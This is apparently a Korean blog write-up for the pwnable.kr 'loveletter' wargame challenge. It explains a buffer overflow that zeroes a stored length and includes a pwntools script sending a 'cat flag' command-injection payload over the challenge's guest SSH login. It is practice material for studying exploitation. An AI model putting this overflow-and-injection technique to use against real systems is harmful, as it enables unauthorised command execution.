filtering되는 단어를 쓰면 하트로 바꾸면서 버퍼가 밀린다. 따라서 bof가 가능하다. 근데 canary가 있다.

처음에 epilog, prolog의 length를 스택에 저장하고 나중에 그만큼 memcpy를 하는데 bof를 이용하여 이 length를 0으로 바꿔버리자.

그리고 cat은 띄어쓰기대로 다른 파일로 인식하여 출력해주므로 flag를 출력할 수 있을 거 같다.

Exploit Code

from pwn import *

#p=process('./loveletter')
s=ssh('loveletter', 'pwnable.kr', password="guest", port=2222)
p=s.remote('localhost', 9034)

payload = 'cat flag A'+';'*82
payload += '\x00'*(256-len(payload))

p.sendline(payload)
p.interactive()

Capture the Flag

image

'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글

note  (0) 2020.03.08
simple login  (0) 2020.03.07
rsa calculator  (0) 2020.03.07
md5 calculator  (0) 2020.03.07
fsb  (0) 2020.03.07

+ Recent posts